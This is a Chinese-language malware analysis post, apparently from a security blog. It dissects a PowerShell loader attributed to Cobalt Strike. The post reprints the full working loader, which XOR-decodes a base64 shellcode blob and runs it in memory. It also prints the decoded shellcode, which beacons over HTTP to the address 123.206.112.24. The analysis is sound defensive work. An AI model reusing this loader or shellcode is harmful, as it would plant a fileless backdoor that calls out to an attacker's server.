前言
样本分析
Set-StrictMode -Version 2 $DoIt = @' function func_get_proc_address { Param ($var_module, $var_procedure) $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) } function func_get_delegate_type { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, [Parameter(Position = 1)] [Type] $var_return_type = [Void] ) $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') return $var_type_builder.CreateType() } [Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSByckt7JyMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMF0tRbSMvDxgt+3Uc5je6j4pFeeU5IHAKT/ZKnhKW473uv4BBr+c4uUeb5yYuvZ0Yhl7ha4qT7yPMlCsXVqYN2i7FAusBdHgu4oNkTACXI3ZQRlEOYkRGTVcZA25MWUpPT0IMFw0TAwtATE5TQldKQU9GGANucGpmAxsNExgDdEpNR0xUUANtdwMWDRIYA3dRSkdGTVcMFw0TGAMNbWZ3A2BvcQMRDRMNFhMUERQKLikjn1YtMP15O1/EN9s5TPHm+gWtpeJFZa3tucTb0Lwsk1r40iuY4U2+lg9boO90/jEFmrYQZOIi6WQMh2qHxORCxH6820xh11fE6qOMc9i6tx8c1FJ7qqJobQaoLaLF1R4FBpQJVVggzNRCVAv5V4Ho6EfJ0yTnuxYP0r0kq28STj4stFm6plMnV7cpA2Msa4URB5vjd5NgtE4C1Irs2kn4NAxds94pGXakLSGRWdIPGVeShiOZCyoXVQYx4MSgL0cpV1mrmToN4Cs7XmrjICNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcEhEQDRETFQ0SEhENERcjTIly4A==') for ($x = 0; $x -lt $var_code.Count; $x++) { $var_code[$x] = $var_code[$x] -bxor 35 } $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) $var_runme.Invoke([IntPtr]::Zero) '@ If ([IntPtr]::size -eq 8) { start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job } else { IEX $DoIt }
脚本文件名命名很直接,大致看了下,可以确定是一个恶意文件了,不过没有混淆。这里提一下C#中如何判断系统的架构(32位或64位),一种很简单的方法就是根据IntPtr类型的Size属性来判断,如下示例代码。
//IntPtr.Size在64位为8,在32位为4 2 public static Boolean Is64Bit() { if (IntPtr.Size == 4) return false; else return true; }
所以该处主要是判断当前系统的架构,当是64位的时候利用start-job开启一个后台任务,如下。
如果非64位环境,则直接执行$DoIt。现在分析一下$DoIt的代码内容,如下。
上述的代码因为涉及到异或解码过程,所以需要调试PowerShell,可通过微软自带的ISE进行调试, 然后将解密后的变量值通过管道输出至文本文件中,然后后续进行处理。步骤简要记录如下,从base64编码过的数据进行解码然后分配内存执行(属于无文件攻击活动)。
38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSByckt7JyMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMF0tRbSMvDxgt+3Uc5je6j4pFeeU5IHAKT/ZKnhKW473uv4BBr+c4uUeb5yYuvZ0Yhl7ha4qT7yPMlCsXVqYN2i7FAusBdHgu4oNkTACXI3ZQRlEOYkRGTVcZA25MWUpPT0IMFw0TAwtATE5TQldKQU9GGANucGpmAxsNExgDdEpNR0xUUANtdwMWDRIYA3dRSkdGTVcMFw0TGAMNbWZ3A2BvcQMRDRMNFhMUERQKLikjn1YtMP15O1/EN9s5TPHm+gWtpeJFZa3tucTb0Lwsk1r40iuY4U2+lg9boO90/jEFmrYQZOIi6WQMh2qHxORCxH6820xh11fE6qOMc9i6tx8c1FJ7qqJobQaoLaLF1R4FBpQJVVggzNRCVAv5V4Ho6EfJ0yTnuxYP0r0kq28STj4stFm6plMnV7cpA2Msa4URB5vjd5NgtE4C1Irs2kn4NAxds94pGXakLSGRWdIPGVeShiOZCyoXVQYx4MSgL0cpV1mrmToN4Cs7XmrjICNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcEhEQDRETFQ0SEhENERcjTIly4A== |
异或解密之后,如下。
252 232 137 0 0 0 96 137 229 49 210 100 139 82 48 139 82 12 139 82 20 139 114 40 15 183 74 38 49 255 49 192 172 60 97 124 2 44 32 193 207 13 1 199 226 240 82 87 139 82 16 139 66 60 1 208 139 64 120 133 192 116 74 1 208 80 139 72 24 139 88 32 1 211 227 60 73 139 52 139 1 214 49 255 49 192 172 193 207 13 1 199 56 224 117 244 3 125 248 59 125 36 117 226 88 139 88 36 1 211 102 139 12 75 139 88 28 1 211 139 4 139 1 208 137 68 36 36 91 91 97 89 90 81 255 224 88 95 90 139 18 235 134 93 104 110 101 116 0 104 119 105 110 105 84 104 76 119 38 7 255 213 49 255 87 87 87 87 87 104 58 86 121 167 255 213 233 132 0 0 0 91 49 201 81 81 106 3 81 81 104 88 4 0 0 83 80 104 87 137 159 198 255 213 235 112 91 49 210 82 104 0 2 64 132 82 82 82 83 82 80 104 235 85 46 59 255 213 137 198 131 195 80 49 255 87 87 106 255 83 86 104 45 6 24 123 255 213 133 192 15 132 195 1 0 0 49 255 133 246 116 4 137 249 235 9 104 170 197 226 93 255 213 137 193 104 69 33 94 49 255 213 49 255 87 106 7 81 86 80 104 183 87 224 11 255 213 191 0 47 0 0 57 199 116 183 49 255 233 145 1 0 0 233 201 1 0 0 232 139 255 255 255 47 52 104 114 78 0 12 44 59 14 216 86 63 197 20 153 172 169 102 90 198 26 3 83 41 108 213 105 189 49 181 192 158 205 156 163 98 140 196 27 154 100 184 196 5 13 158 190 59 165 125 194 72 169 176 204 0 239 183 8 52 117 133 46 249 13 230 33 200 34 87 91 13 193 160 71 111 35 180 0 85 115 101 114 45 65 103 101 110 116 58 32 77 111 122 105 108 108 97 47 52 46 48 32 40 99 111 109 112 97 116 105 98 108 101 59 32 77 83 73 69 32 56 46 48 59 32 87 105 110 100 111 119 115 32 78 84 32 53 46 49 59 32 84 114 105 100 101 110 116 47 52 46 48 59 32 46 78 69 84 32 67 76 82 32 50 46 48 46 53 48 55 50 55 41 13 10 0 188 117 14 19 222 90 24 124 231 20 248 26 111 210 197 217 38 142 134 193 102 70 142 206 154 231 248 243 159 15 176 121 219 241 8 187 194 110 157 181 44 120 131 204 87 221 18 38 185 149 51 71 193 1 202 71 47 164 73 164 231 199 97 231 93 159 248 111 66 244 116 231 201 128 175 80 251 153 148 60 63 247 113 88 137 129 75 78 37 139 14 129 230 246 61 38 37 183 42 118 123 3 239 247 97 119 40 218 116 162 203 203 100 234 240 7 196 152 53 44 241 158 7 136 76 49 109 29 15 151 122 153 133 112 4 116 148 10 32 64 15 72 166 50 36 184 192 84 176 67 151 109 33 247 169 207 249 106 219 23 47 126 144 253 10 58 85 135 14 2 178 122 241 44 58 116 177 165 0 186 40 9 52 118 37 18 195 231 131 12 100 10 116 122 136 186 25 46 195 8 24 125 73 192 3 0 104 240 181 162 86 255 213 106 64 104 0 16 0 0 104 0 0 64 0 87 104 88 164 83 229 255 213 147 185 0 0 0 0 1 217 81 83 137 231 87 104 0 32 0 0 83 86 104 18 150 137 226 255 213 133 192 116 198 139 7 1 195 133 192 117 229 88 195 232 169 253 255 255 49 50 51 46 50 48 54 46 49 49 50 46 50 52 0 111 170 81 195 |
将上述内容进行十六进制转换,invoke执行的内容转换为十六进制后,如下。
对其进行格式化脚本(十进制数转十六进制序列),如下。
import binascii content = "252 232 137 0 0 0 96 137 229 49 210 100 139 82 48 139 82 12 139 82 20 139 114 40 15 183 74 38 49 255 49 192 172 60 97 124 2 44 32 193 207 13 1 199 226 240 82 87 139 82 16 139 66 60 1 208 139 64 120 133 192 116 74 1 208 80 139 72 24 139 88 32 1 211 227 60 73 139 52 139 1 214 49 255 49 192 172 193 207 13 1 199 56 224 117 244 3 125 248 59 125 36 117 226 88 139 88 36 1 211 102 139 12 75 139 88 28 1 211 139 4 139 1 208 137 68 36 36 91 91 97 89 90 81 255 224 88 95 90 139 18 235 134 93 104 110 101 116 0 104 119 105 110 105 84 104 76 119 38 7 255 213 49 255 87 87 87 87 87 104 58 86 121 167 255 213 233 132 0 0 0 91 49 201 81 81 106 3 81 81 104 88 4 0 0 83 80 104 87 137 159 198 255 213 235 112 91 49 210 82 104 0 2 64 132 82 82 82 83 82 80 104 235 85 46 59 255 213 137 198 131 195 80 49 255 87 87 106 255 83 86 104 45 6 24 123 255 213 133 192 15 132 195 1 0 0 49 255 133 246 116 4 137 249 235 9 104 170 197 226 93 255 213 137 193 104 69 33 94 49 255 213 49 255 87 106 7 81 86 80 104 183 87 224 11 255 213 191 0 47 0 0 57 199 116 183 49 255 233 145 1 0 0 233 201 1 0 0 232 139 255 255 255 47 52 104 114 78 0 12 44 59 14 216 86 63 197 20 153 172 169 102 90 198 26 3 83 41 108 213 105 189 49 181 192 158 205 156 163 98 140 196 27 154 100 184 196 5 13 158 190 59 165 125 194 72 169 176 204 0 239 183 8 52 117 133 46 249 13 230 33 200 34 87 91 13 193 160 71 111 35 180 0 85 115 101 114 45 65 103 101 110 116 58 32 77 111 122 105 108 108 97 47 52 46 48 32 40 99 111 109 112 97 116 105 98 108 101 59 32 77 83 73 69 32 56 46 48 59 32 87 105 110 100 111 119 115 32 78 84 32 53 46 49 59 32 84 114 105 100 101 110 116 47 52 46 48 59 32 46 78 69 84 32 67 76 82 32 50 46 48 46 53 48 55 50 55 41 13 10 0 188 117 14 19 222 90 24 124 231 20 248 26 111 210 197 217 38 142 134 193 102 70 142 206 154 231 248 243 159 15 176 121 219 241 8 187 194 110 157 181 44 120 131 204 87 221 18 38 185 149 51 71 193 1 202 71 47 164 73 164 231 199 97 231 93 159 248 111 66 244 116 231 201 128 175 80 251 153 148 60 63 247 113 88 137 129 75 78 37 139 14 129 230 246 61 38 37 183 42 118 123 3 239 247 97 119 40 218 116 162 203 203 100 234 240 7 196 152 53 44 241 158 7 136 76 49 109 29 15 151 122 153 133 112 4 116 148 10 32 64 15 72 166 50 36 184 192 84 176 67 151 109 33 247 169 207 249 106 219 23 47 126 144 253 10 58 85 135 14 2 178 122 241 44 58 116 177 165 0 186 40 9 52 118 37 18 195 231 131 12 100 10 116 122 136 186 25 46 195 8 24 125 73 192 3 0 104 240 181 162 86 255 213 106 64 104 0 16 0 0 104 0 0 64 0 87 104 88 164 83 229 255 213 147 185 0 0 0 0 1 217 81 83 137 231 87 104 0 32 0 0 83 86 104 18 150 137 226 255 213 133 192 116 198 139 7 1 195 133 192 117 229 88 195 232 169 253 255 255 49 50 51 46 50 48 54 46 49 49 50 46 50 52 0 111 170 81 195" hex_arrays = content.split(' ') # hex_bytes = bytes.fromhex(content) print(hex_arrays) pe_list = [] # int_arrs = list(map(int, hex_arrays)) for hex_array in range(len(hex_arrays)): int_array = '0x%02x' % (int(hex_arrays[hex_array], 10)) pe_list.append(int_array) pe_str = "".join(pe_list).replace("0x", "") content = binascii.a2b_hex(pe_str) with open("ps_shellcode", 'wb') as pe_file: pe_file.write(content)
最终获取的十六进制序列shellcode,如下。
fc e8 89 00 00 00 60 89 e5 31 d2 64 8b 52 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff 31 c0 ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f0 52 57 8b 52 10 8b 42 3c 01 d0 8b 40 78 85 c0 74 4a 01 d0 50 8b 48 18 8b 58 20 01 d3 e3 3c 49 8b 34 8b 01 d6 31 ff 31 c0 ac c1 cf 0d 01 c7 38 e0 75 f4 03 7d f8 3b 7d 24 75 e2 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 58 5f 5a 8b 12 eb 86 5d 68 6e 65 74 00 68 77 69 6e 69 54 68 4c 77 26 07 ff d5 31 ff 57 57 57 57 57 68 3a 56 79 a7 ff d5 e9 84 00 00 00 5b 31 c9 51 51 6a 03 51 51 68 58 04 00 00 53 50 68 57 89 9f c6 ff d5 eb 70 5b 31 d2 52 68 00 02 40 84 52 52 52 53 52 50 68 eb 55 2e 3b ff d5 89 c6 83 c3 50 31 ff 57 57 6a ff 53 56 68 2d 06 18 7b ff d5 85 c0 0f 84 c3 01 00 00 31 ff 85 f6 74 04 89 f9 eb 09 68 aa c5 e2 5d ff d5 89 c1 68 45 21 5e 31 ff d5 31 ff 57 6a 07 51 56 50 68 b7 57 e0 0b ff d5 bf 00 2f 00 00 39 c7 74 b7 31 ff e9 91 01 00 00 e9 c9 01 00 00 e8 8b ff ff ff 2f 34 68 72 4e 00 0c 2c 3b 0e d8 56 3f c5 14 99 ac a9 66 5a c6 1a 03 53 29 6c d5 69 bd 31 b5 c0 9e cd 9c a3 62 8c c4 1b 9a 64 b8 c4 05 0d 9e be 3b a5 7d c2 48 a9 b0 cc 00 ef b7 08 34 75 85 2e f9 0d e6 21 c8 22 57 5b 0d c1 a0 47 6f 23 b4 00 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 38 2e 30 3b 20 57 69 6e 64 6f 77 73 20 4e 54 20 35 2e 31 3b 20 54 72 69 64 65 6e 74 2f 34 2e 30 3b 20 2e 4e 45 54 20 43 4c 52 20 32 2e 30 2e 35 30 37 32 37 29 0d 0a 00 bc 75 0e 13 de 5a 18 7c e7 14 f8 1a 6f d2 c5 d9 26 8e 86 c1 66 46 8e ce 9a e7 f8 f3 9f 0f b0 79 db f1 08 bb c2 6e 9d b5 2c 78 83 cc 57 dd 12 26 b9 95 33 47 c1 01 ca 47 2f a4 49 a4 e7 c7 61 e7 5d 9f f8 6f 42 f4 74 e7 c9 80 af 50 fb 99 94 3c 3f f7 71 58 89 81 4b 4e 25 8b 0e 81 e6 f6 3d 26 25 b7 2a 76 7b 03 ef f7 61 77 28 da 74 a2 cb cb 64 ea f0 07 c4 98 35 2c f1 9e 07 88 4c 31 6d 1d 0f 97 7a 99 85 70 04 74 94 0a 20 40 0f 48 a6 32 24 b8 c0 54 b0 43 97 6d 21 f7 a9 cf f9 6a db 17 2f 7e 90 fd 0a 3a 55 87 0e 02 b2 7a f1 2c 3a 74 b1 a5 00 ba 28 09 34 76 25 12 c3 e7 83 0c 64 0a 74 7a 88 ba 19 2e c3 08 18 7d 49 c0 03 00 68 f0 b5 a2 56 ff d5 6a 40 68 00 10 00 00 68 00 00 40 00 57 68 58 a4 53 e5 ff d5 93 b9 00 00 00 00 01 d9 51 53 89 e7 57 68 00 20 00 00 53 56 68 12 96 89 e2 ff d5 85 c0 74 c6 8b 07 01 c3 85 c0 75 e5 58 c3 e8 a9 fd ff ff 31 32 33 2e 32 30 36 2e 31 31 32 2e 32 34 00 6f aa 51 c3 |
通过静态分析,可以发现存在UA头与疑似请求的内容,不过没有IP地址。
经过代码相似度搜索,发现此payload为5个月前国外安全人员分析过的相似样本,很大概率是CobaltStrike模板产生的恶意文件,通过阅读相关内容发现相似恶意脚本曾用于攻击活动。
一般来说,上述的样本是属于最后执行的阶段,前期会通过多种混淆包装来进行安全防护软件规避。不过既然已经有解码后的样本,接下来对其进行调试。通过提取shellcode复制进ollydbg进行调试,如下。
加载wininet.dll,如下。
获取到API函数地址并调用,如下。
请求的IP地址为”123.206.112.24″,如下。
发送HTTP请求,如下。
溯源追踪
威胁情报
HASH
URL
来源:freebuf.com 2020-08-01 11:51:37 by: 生如夏花
请登录后发表评论
注册